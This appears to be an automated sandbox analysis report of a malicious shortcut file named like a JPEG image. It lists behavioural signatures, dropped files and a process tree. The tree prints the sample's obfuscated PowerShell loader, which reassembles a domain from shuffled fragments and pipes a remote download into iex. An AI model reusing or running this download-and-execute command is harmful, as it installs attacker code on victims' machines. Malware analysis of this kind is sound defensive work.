Analysis

  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 10:18

General

  • Target
    IMG_20260727_224254.jpg.lnk
  • Size 1KB
  • Sample260728-mcaeaavajb
  • SHA256 33bc5939612300b02a4aa44ec3d7d3f38f94e5eb40b1fd25fd82ce3e160db094
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_224254.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1188
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('tay','hotoin','s','.shop','no','vp','reser','w')[6,5,1,2,0,4,7,3] -join $FdvojEap) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3240
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\myaz1jtc\myaz1jtc.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:352
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES913A.tmp" "c:\Users\Admin\AppData\Local\Temp\myaz1jtc\CSCFF7A4C87842A4E8DA91BBBD4FC126213.TMP"
          4⤵
            PID:4616

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES913A.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES913A.tmp
          • Size 1KB
          • SHA256 4842b1bfbd9050a0d43e69c17573163d775683635aba9761cb0e2c9f972766fb
          • MD5 SHA1 SHA512 TLSH

          myaz1jtc.dll

          • Path C:\Users\Admin\AppData\Local\Temp\myaz1jtc\myaz1jtc.dll
          • Size 3KB
          • SHA256 d2d9d47a800e6035e349a2e219f78b8f0ac5aa40599691447a0fcfed9dc08089
          • MD5 SHA1 SHA512 TLSH

          CSCFF7A4C87842A4E8DA91BBBD4FC126213.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\myaz1jtc\CSCFF7A4C87842A4E8DA91BBBD4FC126213.TMP
          • Size 652B
          • SHA256 476c2ba5ab01f11c831a3ca6a32a519eea413d3d0bebeb68e521a8470c6c1bd4
          • MD5 SHA1 SHA512 TLSH

          myaz1jtc.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\myaz1jtc\myaz1jtc.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          myaz1jtc.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\myaz1jtc\myaz1jtc.cmdline
          • Size 369B
          • SHA256 e7ce3cfcd80ef98e723865aaf52a52b73e6857dc2acd3061215a2798b8d54406
          • MD5 SHA1 SHA512 TLSH

          memory/3240-10-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-9-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-11-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-12-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-13-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-14-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-15-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-16-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-17-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-18-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-19-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-2-0x00007FFBE067F000-0x00007FFBE0680000-memory.dmp

          memory/3240-8-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-7-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-32-0x000002AB6C730000-0x000002AB6C738000-memory.dmp

          memory/3240-4-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-3-0x000002AB6C230000-0x000002AB6C252000-memory.dmp

          memory/3240-33-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-34-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-35-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

          memory/3240-36-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp